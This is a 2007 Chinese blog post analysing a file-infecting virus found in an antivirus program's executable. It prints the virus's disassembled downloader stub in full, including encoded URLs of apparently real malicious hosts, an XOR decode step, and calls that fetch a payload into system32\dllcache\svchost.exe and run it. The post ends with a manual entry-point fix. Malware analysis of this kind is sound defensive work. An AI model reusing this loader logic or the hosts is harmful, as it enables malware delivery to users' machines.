百度空间 | 百度首页 
 
查看文章
 
一感染文件不完全修复~~
2007年10月16日 星期二 22:35

凝逸的求助我就稍微看了一下~他说的所谓加密入口点的感染病毒样本~

下到样本发现是凝逸的杀软主程序~

00607441 >   E8 00000000               call nyfd.00607446                            ;OD载入~~
00607446     5D                        pop ebp
00607447     81ED 46746000             sub ebp,nyfd.00607446
0060744D     8B0424                    mov eax,dword ptr ss:[esp]
00607450     25 0000FFFF               and eax,FFFF0000
00607455     8138 4D5A9000             cmp dword ptr ds:[eax],905A4D
0060745B     74 07                     je short nyfd.00607464
0060745D     2D 00100000               sub eax,1000
00607462   ^ EB F1                     jmp short nyfd.00607455                        ;初始化API
00607464     55                        push ebp
00607465     53                        push ebx
00607466     56                        push esi
00607467     57                        push edi
00607468     8BE8                      mov ebp,eax
0060746A     0340 3C                   add eax,dword ptr ds:[eax+3C]
0060746D     8B78 78                   mov edi,dword ptr ds:[eax+78]
00607470     03FD                      add edi,ebp
00607472     8B77 20                   mov esi,dword ptr ds:[edi+20]
00607475     03F5                      add esi,ebp
00607477     33D2                      xor edx,edx
00607479     8B06                      mov eax,dword ptr ds:[esi]
0060747B     03C5                      add eax,ebp
0060747D     8138 47657450             cmp dword ptr ds:[eax],50746547
00607483     75 32                     jnz short nyfd.006074B7
00607485     8178 04 726F6341          cmp dword ptr ds:[eax+4],41636F72
0060748C     75 29                     jnz short nyfd.006074B7
0060748E     8178 08 64647265          cmp dword ptr ds:[eax+8],65726464
00607495     75 20                     jnz short nyfd.006074B7
00607497     66:8178 0C 7373           cmp word ptr ds:[eax+C],7373
0060749D     75 18                     jnz short nyfd.006074B7
0060749F     8B47 24                   mov eax,dword ptr ds:[edi+24]
006074A2     03C5                      add eax,ebp
006074A4     0FB71C50                  movzx ebx,word ptr ds:[eax+edx*2]
006074A8     8B47 1C                   mov eax,dword ptr ds:[edi+1C]
006074AB     03C5                      add eax,ebp
006074AD     8B0498                    mov eax,dword ptr ds:[eax+ebx*4]
006074B0     03C5                      add eax,ebp
006074B2     A3 2B706000               mov dword ptr ds:[60702B],eax
006074B7     83C6 04                   add esi,4
006074BA     42                        inc edx
006074BB     3B57 18                   cmp edx,dword ptr ds:[edi+18]
006074BE   ^ 75 B9                     jnz short nyfd.00607479                             ;这个循环就是分配api
006074C0     68 77706000               push nyfd.00607077                          ; freelibrary
006074C5     55                        push ebp
006074C6     FF15 2B706000             call dword ptr ds:[60702B]
006074CC     A3 33706000               mov dword ptr ds:[607033],eax
006074D1     68 83706000               push nyfd.00607083                          ; exitprocess
006074D6     55                        push ebp
.....................................

0060758C     68 63706000               push nyfd.00607063                          ; urlmon
00607591     FF15 2F706000             call dword ptr ds:[60702F]
00607597     A3 23706000               mov dword ptr ds:[607023],eax
0060759C     52                        push edx
0060759D     8D15 AC706000             lea edx,dword ptr ds:[6070AC]
006075A3     52                        push edx
006075B1     A3 5B706000               mov dword ptr ds:[60705B],eax               ; urlmon.URLDownloadToFileA                             
006075AA     FF15 2B706000             call dword ptr ds:[60702B]                       ;注意这里要下病毒~跟进去
006075B0     5A                        pop edx
006075B1     A3 5B706000               mov dword ptr ds:[60705B],eax
006075B6     E8 1B000000               call nyfd.006075D6
006075BB     A1 00706000               mov eax,dword ptr ds:[607000]    
006075C0     FFE0                      jmp eax                                              ;跳到真正软件的OEP

006075D6     55                        push ebp                                    ; kernel32.7C800000
006075D7     8BEC                      mov ebp,esp
006075D9     81C4 38FDFFFF             add esp,-2C8
006075DF     C785 38FFFFFF 68740000    mov dword ptr ss:[ebp-C8],7468          ;这些字符就是病毒的更新文件地址http://www.we168.org/Data/a.txt
006075E9     C785 3AFFFFFF 74700000    mov dword ptr ss:[ebp-C6],7074
006075F3     C785 3CFFFFFF 3A2F0000    mov dword ptr ss:[ebp-C4],2F3A
006075FD     C785 3EFFFFFF 2F770000    mov dword ptr ss:[ebp-C2],772F
00607607     C785 40FFFFFF 77770000    mov dword ptr ss:[ebp-C0],7777
00607611     C785 42FFFFFF 2E770000    mov dword ptr ss:[ebp-BE],772E
0060761B     C785 44FFFFFF 65310000    mov dword ptr ss:[ebp-BC],3165
00607625     C785 46FFFFFF 36380000    mov dword ptr ss:[ebp-BA],3836
0060762F     C785 48FFFFFF 2E6F0000    mov dword ptr ss:[ebp-B8],6F2E
00607639     C785 4AFFFFFF 72670000    mov dword ptr ss:[ebp-B6],6772
00607643     C785 4CFFFFFF 2F440000    mov dword ptr ss:[ebp-B4],442F
0060764D     C785 4EFFFFFF 61740000    mov dword ptr ss:[ebp-B2],7461
00607657     C785 50FFFFFF 612F0000    mov dword ptr ss:[ebp-B0],2F61
00607661     C785 52FFFFFF 612E0000    mov dword ptr ss:[ebp-AE],2E61
0060766B     C785 54FFFFFF 74780000    mov dword ptr ss:[ebp-AC],7874
00607675     C685 56FFFFFF 74          mov byte ptr ss:[ebp-AA],74
0060767C     C685 57FFFFFF 00          mov byte ptr ss:[ebp-A9],0
00607683     68 04010000               push 104
00607688     68 35716000               push nyfd.00607135
0060768D     FF15 57706000             call dword ptr ds:[607057]                  ; kernel32.GetSystemDirectoryA                 ;获得SYSTEM32目录下载创建文件system.bak和system.log
00607693     68 1D716000               push nyfd.0060711D                          ; \system.bak
00607698     68 35716000               push nyfd.00607135
0060769D     FF15 3B706000             call dword ptr ds:[60703B]                  ; kernel32.lstrcatA
006076A3     8D9D 38FFFFFF             lea ebx,dword ptr ss:[ebp-C8]
006076A9     6A 00                     push 0
006076AB     6A 00                     push 0
006076AD     68 35716000               push nyfd.00607135
006076B2     53                        push ebx
006076B3     6A 00                     push 0
006076B5     FF15 5B706000             call dword ptr ds:[60705B]                  ; urlmon.URLDownloadToFileA                     下载
006076BB     6A 00                     push 0
006076BD     68 80000000               push 80
006076C2     6A 03                     push 3
006076C4     6A 00                     push 0
006076C6     6A 01                     push 1
006076C8     68 00000080               push 80000000
006076CD     68 35716000               push nyfd.00607135
006076D2     FF15 43706000             call dword ptr ds:[607043]                  ; kernel32.CreateFileA
006076D8     83F8 FF                   cmp eax,-1
006076DB     75 05                     jnz short nyfd.006076E2
006076DD     E9 67010000               jmp nyfd.00607849
006076E2     8985 40FDFFFF             mov dword ptr ss:[ebp-2C0],eax
006076E8     8D95 A8FDFFFF             lea edx,dword ptr ss:[ebp-258]
006076EE     8D8D 38FDFFFF             lea ecx,dword ptr ss:[ebp-2C8]
006076F4     6A 00                     push 0
006076F6     51                        push ecx
006076F7     6A 64                     push 64
006076F9     52                        push edx
006076FA     FFB5 40FDFFFF             push dword ptr ss:[ebp-2C0]
00607700     FF15 47706000             call dword ptr ds:[607047]                  ; kernel32.ReadFile
00607706     FFB5 40FDFFFF             push dword ptr ss:[ebp-2C0]
0060770C     FF15 4B706000             call dword ptr ds:[60704B]                  ; kernel32.CloseHandle
00607712     8B8D 38FDFFFF             mov ecx,dword ptr ss:[ebp-2C8]
00607718     36:C68429 A8FDFFFF 00     mov byte ptr ss:[ecx+ebp-258],0
00607721     8B8D 38FDFFFF             mov ecx,dword ptr ss:[ebp-2C8]
00607727     36:81B429 A7FDFFFF 90000>xor dword ptr ss:[ecx+ebp-259],90
00607733   ^ E2 F2                     loopd short nyfd.00607727                        ;   读去a.txt文件的内容和90异或解密算出病毒母体地址
00607735     68 04010000               push 104
0060773A     68 39726000               push nyfd.00607239
0060773F     FF15 57706000             call dword ptr ds:[607057]                  ; kernel32.GetSystemDirectoryA
00607745     68 29716000               push nyfd.00607129                          ; \system.log
0060774A     68 39726000               push nyfd.00607239
0060774F     FF15 3B706000             call dword ptr ds:[60703B]                  ; kernel32.lstrcatA
00607755     6A 00                     push 0
00607757     68 80000000               push 80
0060775C     6A 03                     push 3
0060775E     6A 00                     push 0
00607760     6A 01                     push 1
00607762     68 00000080               push 80000000
00607767     68 39726000               push nyfd.00607239
0060776C     FF15 43706000             call dword ptr ds:[607043]                  ; kernel32.CreateFileA
00607772     83F8 FF                   cmp eax,-1
00607775     75 02                     jnz short nyfd.00607779
00607777     EB 68                     jmp short nyfd.006077E1
00607779     8985 40FDFFFF             mov dword ptr ss:[ebp-2C0],eax
0060777F     8D95 44FDFFFF             lea edx,dword ptr ss:[ebp-2BC]
00607785     8D8D 3CFDFFFF             lea ecx,dword ptr ss:[ebp-2C4]
0060778B     6A 00                     push 0
0060778D     51                        push ecx
0060778E     6A 64                     push 64
00607790     52                        push edx
00607791     FFB5 40FDFFFF             push dword ptr ss:[ebp-2C0]
00607797     FF15 47706000             call dword ptr ds:[607047]                  ; kernel32.ReadFile
0060779D     FFB5 40FDFFFF             push dword ptr ss:[ebp-2C0]
006077A3     FF15 4B706000             call dword ptr ds:[60704B]                  ; kernel32.CloseHandle
006077A9     8B8D 3CFDFFFF             mov ecx,dword ptr ss:[ebp-2C4]
006077AF     36:C68429 44FDFFFF 00     mov byte ptr ss:[ecx+ebp-2BC],0
006077B8     8B8D 3CFDFFFF             mov ecx,dword ptr ss:[ebp-2C4]
006077BE     36:80B429 43FDFFFF 90     xor byte ptr ss:[ecx+ebp-2BD],90
006077C7   ^ E2 F5                     loopd short nyfd.006077BE              ;http://isa.31joy.coM/Images/Hide/m1.exE    下不料,估计是下载后保存到SYSTEM32dllcache\svchost.exE文件,然后运行~
006077C9     8D95 A8FDFFFF             lea edx,dword ptr ss:[ebp-258]
006077CF     8D8D 44FDFFFF             lea ecx,dword ptr ss:[ebp-2BC]
006077D5     51                        push ecx
006077D6     52                        push edx
006077D7     FF15 3F706000             call dword ptr ds:[60703F]                  ; kernel32.lstrcmpiA
006077DD     0BC0                      or eax,eax
006077DF     74 68                     je short nyfd.00607849
006077E1     68 04010000               push 104
006077E6     68 3D736000               push nyfd.0060733D
006077EB     FF15 57706000             call dword ptr ds:[607057]                  ; kernel32.GetSystemDirectoryA
006077F1     68 07716000               push nyfd.00607107                          ; \dllcache\svchost.exe
006077F6     68 3D736000               push nyfd.0060733D
006077FB     FF15 3B706000             call dword ptr ds:[60703B]                  ; kernel32.lstrcatA
00607801     8D9D A8FDFFFF             lea ebx,dword ptr ss:[ebp-258]
00607807     6A 00                     push 0
00607809     6A 00                     push 0
0060780B     68 3D736000               push nyfd.0060733D
00607810     53                        push ebx
00607811     6A 00                     push 0
00607813     FF15 5B706000             call dword ptr ds:[60705B]                  ; urlmon.URLDownloadToFileA
00607819     6A 00                     push 0
0060781B     68 3D736000               push nyfd.0060733D
00607820     FF15 5F706000             call dword ptr ds:[60705F]                  ; kernel32.WinExec
00607826     6A 00                     push 0
00607828     8D15 39726000             lea edx,dword ptr ds:[607239]
0060782E     52                        push edx
0060782F     8D15 35716000             lea edx,dword ptr ds:[607135]
00607835     52                        push edx
00607836     FF15 4F706000             call dword ptr ds:[60704F]                  ; kernel32.CopyFileA
0060783C     8D15 35716000             lea edx,dword ptr ds:[607135]
00607842     52                        push edx
00607843     FF15 53706000             call dword ptr ds:[607053]                  ; kernel32.DeleteFileA
00607849     C9                        leave
0060784A     C3                        retn

由于没有母体不能跟踪如何捆绑的不过肯定的是该病毒没有加密入口点,而是把入口点保存在607000地址里~目前临时解决的办法获取原程序入口点然后修改,使病毒体不能运行~~


类别:西毒 | 添加到搜藏 | 浏览() | 评论 (6)
 
最近读者:
 
网友评论:
1
2007年10月16日 星期二 23:18 | 回复
谢谢,MicrosoftCTO 阿虎
 
2
2007年10月17日 星期三 00:16 | 回复
http://hi.baidu.com/503165656/blog/item/33632cb3b27e26a4d9335af4.html 在变种的感染分析中: MicrosoftCTO(6108661)与阿虎(48993263)给予不少帮助 転生の炎(2605522)提供感染的exe 谢谢!
 
3
2007年10月17日 星期三 11:02 | 回复
特别感谢阿虎帮助分析病毒 :)
 
4
2007年10月20日 星期六 11:49 | 回复
我现在看这些汇编代码不晕了。
 
5
2007年10月26日 星期五 18:30 | 回复
很好很强大
 
6
2007年10月26日 星期五 18:36 | 回复
天生的不适合汇编,本来我就近视,搞汇编更近视~~
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu